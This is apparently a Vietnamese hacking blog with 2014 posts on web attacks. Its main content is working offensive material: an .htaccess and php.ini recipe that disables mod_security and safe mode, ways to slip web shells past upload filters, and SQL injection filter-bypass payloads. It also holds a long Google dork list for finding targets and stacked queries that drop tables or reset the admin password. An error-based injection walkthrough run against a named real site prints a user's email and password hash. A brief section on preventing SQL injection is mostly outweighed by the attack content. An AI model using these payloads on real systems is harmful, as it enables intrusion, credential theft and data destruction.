Monday, June 23, 2014

How to Encoder - Decode php

How to Encoder - Decode php

01. Mã hóa Md5:

Thuật toán này thường được dùng để mã hóa mật khẩu một chiều, và hầu như khó có thể dịch ngược lại được.
Để mã hóa các bạn vào trang:
http://7thspace.com/webmaster_tools/online_md5_encoder.html

02. Mã hóa dạng: eval(base64_decode

<?php $o="encrypted text";eval(base64_decode('rubbish'));return;?>

Để giải mã đoạn code bị mã họa dạng này, bạn chỉ cần copy đoạn "'encrypted text" vào khung và nhấn nút Decode this Mess là được.
Trang web với công cụ giải mã:
http://ottodestruct.com/decoder.php

03. Mã hóa dạng: eval(gzinflate(base64_decode('encrypted text')));

eval(gzinflate(base64_decode('80jNyclXyFTPVUhJTc5PSU0BAA==')));
Để giải mã đoạn code bị mã hóa dạng này, bạn chỉ cần copy đoạn: "80jNyclXyFTPVUhJTc5PSU0BAA==" vào khung và nhấn decode là được.
Công cụ giải mã:
http://www.tareeinternet.com/scripts/decrypt.php

04. Mã hóa dạng Rubbish:

Dạng chung:

<?php $_F=__FILE__;$_X='encrypted text';eval(base64_decode('rubbish'));?>

Để giải mã, bạn copy đoạn "encrypted text" vào khung và nhấn Decode this Rubbish.
Công cụ giải mã:
http://www.tareeinternet.com/scripts/byterun.php

05. Mã hóa dạng ROT13:

Để giải mã, các bạn vào trang:
http://rot13-encoder-decoder.waraxe.us/

06. Mã hóa dạng Unpacker:

Dạng tổng quát:

eval(function(p,a,c,k,e,r)... ...{}))
Để giải mã dạng mã hóa này, bạn hãy copy nguyên đoạn mã hóa và vào trang web sau:
http://matthewfl.com/unPacker.html

.htaccess safe mode Off​

safe mode Off​ with .htaccess 

nội dung file .htaccess:

Options +FollowSymLinks
DirectoryIndex ssssss.htm
Options All Indexes

<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule>

SetEnv PHPRC /home/user/public_html/php.ini
suPHP_ConfigPath /home/user/public_html/php.ini 
Options +FollowSymLinks
DirectoryIndex ssssss.htm
Options All Indexes
<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule> 

Nội dung file php.ini:

safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF 

và nội dung file ini.php

ini_restore("safe_mode");
ini_restore("open_basedir"); 

how to upload shell

How to upload shell

a. Không thấy cấm loại file nào, thế thì cho nguyên cái gì vào cũng được
b. Thử upload các loại file thông dụng: asp, aspx, php, php3, php5, cgi, pl, py, jsp.
c. Nếu nó cấm hết ở mục b thì ta thử các file pro hơn: exe, bat <— đừng hỏi run cái loại này thế nào nhé . vì đơn giản là mình không biết  ( đùa  )
d. Nếu cho upload mỗi file image (bmp, gif, jpg, jpeg) thì sao ?
+ Thử thay đuôi cá xem : shell.php.jpg
+ Thử chơi NULL byte: shell.php.jpg
+ Thử mấy HEX byte chơi trội: shell.php%25%30%30.jpg
+ Thử mấy Unicode Byte shell.phpU+0025U+0030.jpg
+ Kiếm một file ảnh JPG, nhét nguyên code con shell vào trong comment của photo
+ Chèn code shell vào header của photo

GIF89a
<?php //code shell ?>
Bypass up ảnh

Đổi shell php thành một trong các kiểu.
shell.php;.jpg
shell.php.jpg
shell.php..jpg
shell.php.jpg
shell.php.jpg:;
shell.php.jpg%;
shell.php.jpg;
shell.php.jpg;
shell.php.jpg:;
+ Trường hợp chuối: nó kiểm tra file type bằng cách soi ngay cái đuôi liền ví dụ: photo.jpg <– được, nhưng photo.x.jpg <— cái này không được … tự hiểu cách xử lý củ chuối này nha
+ Cao cấp: upload qua SQL Injection , ví dụ với MySQL thì loadfile() <— tuy nhiên chỉ cắn được nếu user là root@localhost; MSSQL hay Oracle thì chuối hơn …
+ Cao cấp: upload bừa một file html lên xem có được hay không <— hiểu ý chưa ^^!

Tìm vị trí file đã upload lên:

+ Up xong nó cho cái link file đã upload –> sướng
+ Dùng scanner để tìm các folder rồi lần mò vị trí file uploaded
+ Nhìn loanh quanh xem mấy vị trí nó để photo hay tài liệu gì đó xem link nó thế nào rồi kiểm tra thử
+ Phán đoán & suy luận & kinh nghiệm

Sunday, June 22, 2014

Anti SQL Injection

Các cách phòng chống SQL Injection

Ngay từ khái niệm, chúng ta đã có thể biết được cách phòng chống hiệu quả Sql injection chính là việc kiểm tra kỹ càng tham số đầu vào. Những tham số mà từ đó người lập trình website sử dụng để xây dựng lên câu truy vấn tới cơ sở dữ liệu.

Công việc kiểm tra tham số đầu vào (áp dụng phòng tránh lỗi Sql injection) nên được tiến hành theo nhiều tầng:

Client: javascript (có thể bypass bằng các phần mềm tamper)
Server: C#, php, jsp


- Kiểm tra kiểu của dữ liệu: đối với dữ liệu kiểu số, kiểu chuỗi … chúng ta phải có những hàm validate tương ứng.

o Nếu là kiểu int:

ASP.NET: Int32.Parse(/*Param*/);
PHP: is_numeric($var), is_int($var), is_integer($var)...


o Nếu là kiểu chuỗi:

Thiết lập độ dài tối đa cần thiết: length <= MAX_LENGTH
Lọc bỏ ký tự nguy hiểm (bao gồm các meta characters trong DBMS), lọc bỏ các từ khóa như union, select, order, information_schema, insert, drop, load_file… (sử dụng các hàm như mysql_real_escape_string(), preg_replace()…)



Ví dụ:

Mã nguồn PHP:
<?php
$id = mysql_real_escape_string($_GET['id']);
$query = mysql_query("SELECT * FROM table where id = "' .$id. '");
?>

Mã nguồn PHP:
<?php
$id = preg_replace("/[^0-9]/","", $_GET['id']);
$query = mysql_query("SELECT * FROM table where id = "' .$id. '");
?>



Kiểm tra xem định dạng chuỗi: email, username, password… đều có một định dạng nhất định, do đó có thể viết các biểu thức chính qui (Regular Expression) cho mỗi định dạng này.

C#: System.Text.RegularExpressions;
PHP: preg_match(); ...
Java: Pattern.matcher(); ...

o Sử dụng các thư viện hỗ trợ:

C#: Parameters


cmd.Parameters.Add("@var", SqlDbType.Int);
cmd.Parameters["@var"].Value = input;


o Phân quyền SQL

Tài khoản sử dụng cho ứng dụng web trong cơ sở dữ liệu dĩ nhiên phải có quyền đọc. Nhưng khi thực hiện thao tác thêm bài viết, thêm user thì nó phải cần thêm quyền ghi nữa. Do đó, tùy vào mỗi trường hợp mà ta thiết lập role phù hợp cho mỗi tài khoản web tương tác với cơ sở dữ liệu. Với những ứng dụng web thông thường, tài khoản cho ứng dụng web trong SQL SERVER nên chỉ được thiết lập quyền đọc (SELECT) (db_datareader) và quyền ghi (INSERT, UPDATE) (db_datawriter) như vậy sẽ không có quyền xóa một table.

Second-order Injection

Second-order Injection

Đây là kỹ thuật ít được sử dụng vì rất khó để nhận biết một ứng dụng web có bị mặc lỗi này hay không. Kỹ thuật này được mô tả như sau : Trước hết, ta sẽ “inject” vào cơ sở dữ liệu một đoạn mã. Đoạn mã này chưa hề gây nguy hiểm cho hệ thống nhưng nó sẽ được sử dụng làm bàn đạp cho lần inject tiếp theo. Chúng ta hãy xem một ví dụ cụ thể để hiểu hơn về kỹ thuật này.

Chúng ta sẽ truy cập vào một ứng dụng web và tìm cách đăng ký một tài khoản có username là "administrator' --"(admin' --). Sau đó chúng ta sẽ thực hiện thao tác thay đổi mật khẩu. Thao tác thay đổi mật khẩu được ứng dựng web xử lý như sau :





Với username đã đăng ký ở trên, câu truy vấn trên trở thành :




Như vậy, ta có thể thay đổi được password của tài khoản administrator và hoàn toàn có thể đăng nhập dưới tên tài khoảnadministrator.

Wednesday, June 18, 2014

Tools En/Decode Base64 by THT

Tools En/Decode Base64 by THT


Link Download : En/Decode Base64

Decode javascript

How to decode javascript in auto like sub facebook !!

Step 1: Open file or link
example : http://up.m-wap.eu/u/chibinew12.txt
Step 2: Fomat form with jsbeautifier.org/
Copy all text in step 1, Paste and click "Beautify JavaScript or HTML"
Step 3: See line 1 "\x76\x61\x6C\x75\x65" --> Hex coder
Next you visite site : http://ddecode.com/hexdecoder/ paste it and click "decode"

Decoded results:


Step 4: Similarly with the remaining lines !!.
We noticed sequence : "send", "100006064180469", "100003489418766", "100005252313938", "100007881486175"
"100007833065308", "100008101780640", "100008219767942", "100008280002992", "100008239474962", "script",
This is id of facebook : Example :
https://www.fb.com/100006064180469 <-.-> https://www.fb.com/kieu.oc

End Tut !
Posted by Error6x9


Tuesday, June 10, 2014

Bypass SQL injection

Một số cách Bypass SQL injection



Cách 1: thay ký tự thường bằng ký tự hoa

id=1+UnIoN SeLeCT 1,2,3,4-- -

Cách 2: dùng cặp thẻ /*!code*/

id=1+/*!UnIoN*/ /*!SeLeCT*/ 1,2,3,4-- -

Cách 3: dùng like thay cho = (khi dấu = bị chặn)

/*!TaBlE_ScHeMa*/+like+database()– -

Cách 4: Lồng Union và select

id=1+UNIunionON+SeLselectECT+1,2,3–

Cách 5 thêm ký tự null hoặc các ký tự đặc biệt vào giữa:

sel%0bect+1,2,3
id=1+uni*on+sel*ect+1,2,3–+
id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+’UnI”On’+'SeL”ECT’

Cách 6: dùng hàm convert():
convert(group_concat(table_name)+using+ascii)
convert(version() using latin1)
aes_decrypt(aes_encrypt(version(),1),1)
unhex(hex(@@version))
cast(version()+as+binary)
convert(version(),binary)
convert(version()+using+binary)

Cách 7: dùng char() để hiện thị users bị ẩn
CHAR(117, 115, 101, 114, 115)

Cách 8: show table ẩn:

group_concat(unhex(hex(table_name)))

cách 9: select
UNION all /*!50000SELECT*/

Cách 10 (ít dùng)thêm khoảng trắng tách từ
information_schema. tables thay cho information_schema.tables

Nguồn Troller team

Error Based/Double Query SQL injection

Error Based/Double Query SQL injection


victim : http://hanggiasoc.vn/tim-kiem?q=%27
error : CDbCommand không thể thi hành câu truy vấn SQL: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' AND published = 1' at line 1

Tìm database : 
http://hanggiasoc.vn/tim-kiem?q=1' or+1+group+by+concat_ws(0x3a,version(),database(),user(),floor(rand(0)*2))+having+min(0)+or+1-- -

'5.0.96:betahgs:betahgs@localhost:1' for key 1

Tìm tables :
http://hanggiasoc.vn/tim-kiem?q=1' and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

'authassignment~1' for key 1

table mình cần là table user : ( tăng limit )
http://hanggiasoc.vn/tim-kiem?q=1' and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 26,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

Duplicate entry 'users~1' for key 1

Hiển thị column của table vừa tìm:
http://hanggiasoc.vn/tim-kiem?q=1' and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -


tăng limit để tìm các column mình cần: (email,password)
http://hanggiasoc.vn/tim-kiem?q=1' and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x7573657273 limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -
 Duplicate entry 'email~1' for key 1

http://hanggiasoc.vn/tim-kiem?q=1' and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x7573657273 limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

Duplicate entry 'password~1' for key 1

Kết quả :
http://hanggiasoc.vn/tim-kiem?q=1' and (select 1 from (select count(*),concat((select(select concat(cast(concat(email) as char),0x7e)) from betahgs.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -
Duplicate entry '007.heineken@gmail.com~1' for key 1

tương tự 
http://hanggiasoc.vn/tim-kiem?q=1' and (select 1 from (select count(*),concat((select(select concat(cast(concat(password) as char),0x7e)) from betahgs.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -
'1a2a861efa455bfa46f387e8cf4818e1~1' for key 1

End :v


Friday, June 6, 2014

Dork asp

Dork asp cho những ai cần

".asp?bookID="
".asp?cart="
".asp?cartID="
".asp?catalogid="
".asp?category_list="
".asp?CategoryID="
".asp?catID="
".asp?cid="
".asp?code_no="
".asp?code="
".asp?designer="
".asp?framecode="
".asp?id="
".asp?idcategory="
".asp?idproduct="
".asp?intCatalogID="
".asp?intProdId="
".asp?item_id="
".asp?item="
".asp?itemID="
".asp?maingroup="
".asp?misc="
".asp?newsid="
".asp?order_id="
".asp?p="
".asp?pid="
".asp?ProdID="
".asp?product_id="
".asp?product="
".asp?productid="
".asp?showtopic="
".asp?Sku="
".asp?storeid="
".asp?style_id="
".asp?StyleID="
".asp?userID="
"about.asp?cartID="
"accinfo.asp?cartId="
"acclogin.asp?cartID="
"add.asp?bookid="
"add_cart.asp?num="
"addcart.asp?"
"addItem.asp"
"add-to-cart.asp?ID="
"addToCart.asp?idProduct="
"addtomylist.asp?ProdId="
"adminEditProductFields.asp?intProdID="
"advSearch_h.asp?idCategory="
"affiliate.asp?ID="
"affiliate-agreement.cfm?storeid="
"affiliates.asp?id="
"ancillary.asp?ID="
"archive.asp?id="
"article.asp?id="
"aspx?PageID"
"basket.asp?id="
"Book.asp?bookID="
"book_list.asp?bookid="
"book_view.asp?bookid="
"BookDetails.asp?ID="
"browse.asp?catid="
"browse_item_details.asp"
"Browse_Item_Details.asp?Store_Id="
"buy.asp?"
"buy.asp?bookid="
"bycategory.asp?id="
"cardinfo.asp?card="
"cart.asp?action="
"cart.asp?cart_id="
"cart.asp?id="
"cart_additem.asp?id="
"cart_validate.asp?id="
"cartadd.asp?id="
"cat.asp?iCat="
"catalog.asp"
"catalog.asp?CatalogID="
"catalog_item.asp?ID="
"catalog_main.asp?catid="
"category.asp"
"category.asp?catid="
"category_list.asp?id="
"categorydisplay.asp?catid="
"checkout.asp?cartid="
"checkout.asp?UserID="
"checkout_confirmed.asp?order_id="
"checkout1.asp?cartid="
"comersus_listCategoriesAndProducts.asp?idCategory="
"comersus_optEmailToFriendForm.asp?idProduct="
"comersus_optReviewReadExec.asp?idProduct="
"comersus_viewItem.asp?idProduct="
"comments_form.asp?ID="
"contact.asp?cartId="
"content.asp?id="
"customerService.asp?TextID1="
"default.asp?catID="
"description.asp?bookid="
"details.asp?BookID="
"details.asp?Press_Release_ID="
"details.asp?Product_ID="
"details.asp?Service_ID="
"display_item.asp?id="
"displayproducts.asp"
"downloadTrial.asp?intProdID="
"emailproduct.asp?itemid="
"emailToFriend.asp?idProduct="
"events.asp?ID="
"faq.asp?cartID="
"faq_list.asp?id="
"faqs.asp?id="
"feedback.asp?title="
"freedownload.asp?bookid="
"fullDisplay.asp?item="
"getbook.asp?bookid="
"GetItems.asp?itemid="
"giftDetail.asp?id="
"help.asp?CartId="
"home.asp?id="
"index.asp?cart="
"index.asp?cartID="
"index.asp?ID="
"info.asp?ID="
"item.asp?eid="
"item.asp?item_id="
"item.asp?itemid="
"item.asp?model="
"item.asp?prodtype="
"item.asp?shopcd="
"item_details.asp?catid="
"item_list.asp?maingroup"
"item_show.asp?code_no="
"itemDesc.asp?CartId="
"itemdetail.asp?item="
"itemdetails.asp?catalogid="
"learnmore.asp?cartID="
"links.asp?catid="
"list.asp?bookid="
"List.asp?CatID="
"listcategoriesandproducts.asp?idCategory="
"modline.asp?id="
"myaccount.asp?catid="
"news.asp?id="
"order.asp?BookID="
"order.asp?id="
"order.asp?item_ID="
"OrderForm.asp?Cart="
"page.asp?PartID="
"payment.asp?CartID="
"pdetail.asp?item_id="
"powersearch.asp?CartId="
"price.asp"
"privacy.asp?cartID="
"prodbycat.asp?intCatalogID="
"prodetails.asp?prodid="
"prodlist.asp?catid="
"product.asp?bookID="
"product.asp?intProdID="
"product_info.asp?item_id="
"productDetails.asp?idProduct="
"productDisplay.asp"
"productinfo.asp?item="
"productlist.asp?ViewType=Category&CategoryID="
"productpage.asp"
"products.asp?ID="
"products.asp?keyword="
"products_category.asp?CategoryID="
"products_detail.asp?CategoryID="
"productsByCategory.asp?intCatalogID="
"prodView.asp?idProduct="
"promo.asp?id="
"promotion.asp?catid="
"pview.asp?Item="
"resellers.asp?idCategory="
"results.asp?cat="
"savecart.asp?CartId="
"search.asp?CartID="
"searchcat.asp?search_id="
"Select_Item.asp?id="
"Services.asp?ID="
"shippinginfo.asp?CartId="
"shop.asp?a="
"shop.asp?action="
"shop.asp?bookid="
"shop.asp?cartID="
"shop_details.asp?prodid="
"shopaddtocart.asp"
"shopaddtocart.asp?catalogid="
"shopbasket.asp?bookid="
"shopbycategory.asp?catid="
"shopcart.asp?title="
"shopcreatorder.asp"
"shopcurrency.asp?cid="
"shopdc.asp?bookid="
"shopdisplaycategories.asp"
"shopdisplayproduct.asp?catalogid="
"shopdisplayproducts.asp"
"shopexd.asp"
"shopexd.asp?catalogid="
"shopping_basket.asp?cartID="
"shopprojectlogin.asp"
"shopquery.asp?catalogid="
"shopremoveitem.asp?cartid="
"shopreviewadd.asp?id="
"shopreviewlist.asp?id="
"ShopSearch.asp?CategoryID="
"shoptellafriend.asp?id="
"shopthanks.asp"
"shopwelcome.asp?title="
"show_item.asp?id="
"show_item_details.asp?item_id="
"showbook.asp?bookid="
"showStore.asp?catID="
"shprodde.asp?SKU="
"specials.asp?id="
"store.asp?id="
"store_bycat.asp?id="
"store_listing.asp?id="
"Store_ViewProducts.asp?Cat="
"store-details.asp?id="
"storefront.asp?id="
"storefronts.asp?title="
"storeitem.asp?item="
"StoreRedirect.asp?ID="
"subcategories.asp?id="
"tek9.asp?"
"template.asp?Action=Item&pid="
"topic.asp?ID="
"tuangou.asp?bookid="
"type.asp?iType="
"updatebasket.asp?bookid="
"updates.asp?ID="
"view.asp?cid="
"view_cart.asp?title="
"view_detail.asp?ID="
"viewcart.asp?CartId="
"viewCart.asp?userID="
"viewCat_h.asp?idCategory="
"viewevent.asp?EventID="
"viewitem.asp?recor="
"viewPrd.asp?idcategory="
"ViewProduct.asp?misc="
"voteList.asp?item_ID="
"whatsnew.asp?idCategory="
"WsAncillary.asp?ID="
"WsPages.asp?ID="

SQL injection lab finish [Filter+tổng kết]

Finish [Filter+tổng kết SQLi]


- Khi query 1 số site chặn các hàm union,select,convert...thì khi query nó trả về trang trắng, lúc này ta thay đổi 1 số chữ Hoa, thường xen kẽ nhau: UniON, SeLECt... hoặc conveter sang ascii
- Khi query cũng có 1 số site trả về trang trắng, thì ta nhìn kỹ trên site nha,kể cả title site.Nếu ko thấy ae view source sẽ thấy
- 1 số query table_name không hiện ra , ta unhex(hex(group_concat(table_name))
- Khi query nó trả về thế này
Forbidden
You don't have permission to access /news.php on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

Hoặc

Not Acceptable
An appropriate representation of the requested resource / could not be found on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request
Thì ta dùng /*! */ (VD: /*!union*/ hoặc /*!select*/ hoặc information_schema./*!tables*/..vv)

-Nếu query nó ra thế này:
406 Not Acceptable
This request is not acceptable Powered By LiteSpeed Web Server
LiteSpeed Technologies is not responsible for administration and contents of this web site!

Thì các bạn cần tư duy chút. VD: các bạn có thể thay space = %0A (kí tự xuống dòng) ..vv
1 Số truy vấn khác
-Tạo 1 table_name:

;drop table kingnuscreate table thanggiangho (id int identity,kingnusvarchar(99999)) insert into kingnusselect table_name from information_schema.tables--sp_password
-Thay đổi pass admin: lấy vd trên nếu như username :kingnus/pass:ceh
;UPDATE table1 SET password = 'ceh' WHERE username='kingnus'--
-Chèn 1 record mới vào table

;INSERT INTO 'table1' ('ID', 'username', 'password', 'details') VALUES (99,'kingnus','ceh','Online')--
-Tìm tất cả các table có liên quan như: admin,user,member,account,login...

and 1 = convert(int,(select top 1 table_name from information_schema.tables where table_name like '%admin%' or table_name like '%Member%' or table_name like '%User%' or table_name like '%account%' or table_name like '%login%'))--sp_password
and 1 = convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('') and (table_name like '%25admin%25' or table_name like '%25Member%25' or table_name like '%25User%25' or table_name like '%25account%25' or table_name like '%25login%25')))--sp_password
-Lấy tất cả các table_name:

; begin declare @temp varchar(8000) set @temp=':' select @temp=@temp%2btable_name%2b'/' from information_schema.tables select @temp as id into kingnusend--
or 1=(select id from kingnus)--
; drop table kingnus--
-Lấy tất cả các column_name từ 1 table_name: vd table_name : tbadmin

; begin declare @temp varchar(8000) set @temp=':' select @temp=@temp%2bcolumn_name%2b'/' from information_schema.columns where table_name='tbadmin' select @temp as id into kingnus end--
or 1=(select id from kingnus)--
I. Cách vá lỗi:
1. Mởi php.ini và set magic_quotes_gcp thành On
Nó sẽ chèn “\” trước (‘) có trong:
-COOKIE
-POST
-GET
2. Sử dụng hàm addslashes() để “gói” chuỗi bằng dấu “/”

3. Sử dụng hàm htmlspecialchars(), mysql_escape_string() … để mã hoá kí tự đặc biệt trong câu truy vấn

4. Ép kiểu:
- Ta biết id của một đối tượng (user, category, box, product …) luôn là kiểu số nguyên, vì vậy ta dùng:
$id = (int)$_POST['id'];
hoặc
$id = (int)$_GET['id'];
Giải thích về vá lỗi :
3 cách đầu: Nếu nhập vào abc’ đi , thì nó sẽ hiểu là một chuỗi chứ không phải là abc rồi dấu ‘ riêng

Nguồn Cehvn

SQL injection lab 4 [Blind SQLi]

SQL injection lab 4 [Blind SQLi] 


Phát hiện lỗi "blind sql injection":
- Đối với MY SQL vesion 4 trở xuống.
- để xác định xem nó có bị dinh lỗi blind sql injection ko ta hãy thử thêm vào 1 điều kiện đúng .Ví dụ như:
http://www.site.com/pressRelease.jsp?pressID=5 AND 1=1
nếu ta vẫn được trả về vị trí củahttp://www.site.com/pressRelease.jsp?pressID=5 thì có nghĩa là nó đã dính lỗi
Khai thác:
VD:http://www.site.com/news.php?id=5

Ta tiến hành kiếm version bằng cách sử dụng hàm cắt chuỗi Substring() VD: Substring('mmdVBF',5,3) kết quả sẽ là neo
http://www.site.com/news.php?id=5 and substring(version(),1,1)=4
Trang sẽ hiện thị bình thường nếu kết quả truy vấn trên đúng , nếu vậy phiên bản của Mysql này là 4.xxx.x còn nếu không chúng ta thay 4 thành 5 để kiểm tra tiếp
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
http://www.site.com/news.php?id=5 and (select 1)=1
nếu site tải thông thường thì subselects làm việc.
sau đó chúng ta sẽ xem liệu chúng ta có thể truy cập mysql.user
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
nếu tải trang thông thường chúng ta có thể truy cập để mysql.user và sau đó, chúng ta có thể kéo một số password usign load_file() function and OUTFILE.
kiểm tra table và column:
Đây là một phần khi đoán:
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1

(sử dụng limit 0,1 truy vấn ở đây của chúng ta trả về 1 hàng của dữ liệu, gây ra subselect trả về chỉ 1 hàng, điều này là rất quan trọng.)
sau đó nếu trang tải bình thường mà không có nội dung thiếu, thì table users exits.
nếu bạn get FALSE (một số điều còn thiếu), hãy thay đổi table_name cho đén khi đoán đúng
bây giờ chúng ta có table name là users, nbaay giờ chúng ta cần column name.
giống như tên bảng, chúng ta bắt đầu đoán. Giống như tôi đã nói trước khi thử các tên gọi thông thường cho các cột.
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
nếu trang tải bình thường, chúng ta biết rằng tên cột là password (nếu chúng ta sai thì thử tên gọi thông thường hoặc chỉ đoán)
ở đây chúng ta hợp nhất 1 cột password, sau đó trả về chuỗi ký tự đầu tiên (1,1)
lấy dữ liệu từ cơ sở dữ liệu
chúng tôi tìm thấy người sử dụng bảng, cột: username, password . vì vậy chúng ta sẽ get các characters từ đó.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80


ok này ở đây get ký tự đầu tiên: user ,trong table users.
that

substring ở đây trả về character đầu tiên và 1 character trong length. ascii() converts mà 1 character vào giá trị ascii .
và sau đó so sánh nó với simbol lớn hơn sau đó>.
vì vậy nếu char ascii lớn hơn 80 sau đó, tải trang web bình thường. (TRUE)
chúng ta tiếp tục cố gắng cho đến khi chúng ta nhận được sai.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95


chúng ta nhận được TRUE, giữ incrementing
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98


TRUE một lần nữa, cao hơn:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99


FALSE!!!
do đó, ký tự đầu tiên trong tên username là char (99). Sử dụng bộ chuyển đổi ascii, chúng ta biết rằng char (99) là chữ 'c'.
sau đó cho phép kiểm tra các character thứ hai.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99


Lưu ý rằng tôi thay đổi, 1,1, 2,1 để có được những characte thứ hai. (bây giờ nó trả về characte thứ hai, 1 characte lenght)
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99


TRUE, trang tải bình thường, cao hơn.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107


FALSE, thấp hơn số lượng.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104


TRUE, cao hơn.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
FALSE!!!

Nguồn Cehvn

SQL injection lab 3 [khai thác SQLi]

SQL injection lab 3 [khai thác SQLi]


Sau khi xác định site sqli + check sqli +hệ quản trị SCDL là gì (phổ biến MsAccess,MSSQL,MySQL, Oracle), thì chúng ta bắt tay vào công việc khai thác chúng. (Mỗi hệ quản trị CSDL khác nhau thì có cách khai thác gần như là khác nhau).Các bạn phải lắm rõ vần đề tưrên để sau này dễ dàng cho việc khai thác lỗi. Cách khai thác lỗi của từng ứng dụng sử dụng CSDL trên sẽ đợc trình bày ở dưới: (tuy nhên theo kinh các newbie cố găng tập trung MýQJ vì nó là phổ biến)

Đối với CSDL MyQSL:
Lỗi trả về thường xuất hiện các dấu hiệu sau:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Riêng bọn này các bạn cần chú ý việc đầu tiên ta khai tác là kiếm version (phiên bản) của nó hiện tại.
Kĩ thuật khai thác bọn này được thực hiền lần lượt như sau:
Đầu tiên ta tiến hành xác định số cột trong table hiện tại bằng cách sử dụng Order by n (VD: 6)

Tiếp theo ta sử dụng UNION SELECT [ số cột tìm được , được phân cách bằng dấu phẩy]--
http://demo.com.vn/index.php?id=-1 Union Select 1,2,3,4,5,6-- nó sẽ hiện ra những con số

nếu không hiện số:
+viewsource
+Xem file ảnh bị lỗi để thấy số
+Thay số bằng null (vd id=-188 thì thay id=null UNION....)
+Thay các column(field) bằng null (vd :UNION SELECT null,null,....)
+Bypass filter (mod_security)( TH này mình sẽ đi sâu phần sau)
+TH hiện ra thông báo thế này: The used SELECT statements have a different number of columns

Union select như sau: id=1+and+1=0+UNION SELECT+1,2...

Hoặc dùng error base:
And (Select 1 From(Select Count( * ),Concat(CHAR (124),(Select concat_ws(0x7c,version(),database(),user())),floor (rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)-- -
and extractvalue(rand(),concat(0x3a,version(),0x3a,use r()))--
or 1 group by concat_ws(0x7c,version(),database(),current_user,f loor(rand(0)*2)) having min(0) or 1--

Hoặc dùng blind: and substring(version(),1,1)=5

Tuỳ thời cơ mà biến hoá chúng

Tỉ dụ nó hiện ra số 3.
Công việc tiếp theo của ta là xác định version (Công việc quan trọng nhất)
http://demo.com.vn/index.php?id=-1 Union Select 1,2,version(),4,5,6--
Nếu kết quả trả về :

>>>>Phiên bản lớn hơn hoặc bằng 4 và nhỏ hơn 5: Khai thác như lỗi của CSDL MsAccess (Hack Đoán)
>>>>Phiên bản lớn hơn 5 thì sử dụng cách dưới đây.
Oke, ta đã xác định được phiên bản là lớn hơn 5. ta tiến hành truy vấn.
http://demo.com.vn/index.php?id=-1 Union Select 1,2,table_name,4,5,6 From Information_schema.tables--
hoặc
http://demo.com.vn/index.php?id=-1 Union Select 1,2,CONVERT(group_concat(table_name) USING latin1),4,5,6 From Information_schema.tables--
hoặc
http://demo.com.vn/index.php?id=-1 Union Select 1,2,unhex(hex(group_concat(table_name))),4,5,6 From Information_schema.tables--
Tuỳ thời cơ mà biến hoá chúng.

nó sẽ trả về giá trị đầu tiên là: CHARACTER_SETS, để gộp tất cả các table lại cho dễ tìm kiếm thì các bạn dùng hàm Group_concat() Hoặc limit.
http://demo.com.vn/index.php?id=-1 Union Select 1,2,group_concat(table_name),4,5,6 From Information_schema.tables--
http://demo.com.vn/index.php?id=-1 Union Select 1,2,table_name,4,5,6 From Information_schema.tables limit 17,1--
http://demo.com.vn/index.php?id=-1 Union Select 1,2,table_name,4,5,6 From Information_schema.tables limit n,1--
Chúng ta không quan tâm lắm nhưng table dạng như này:
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_ APPLICABILITY,USER_PRIVILEGES,VIEWS,admins
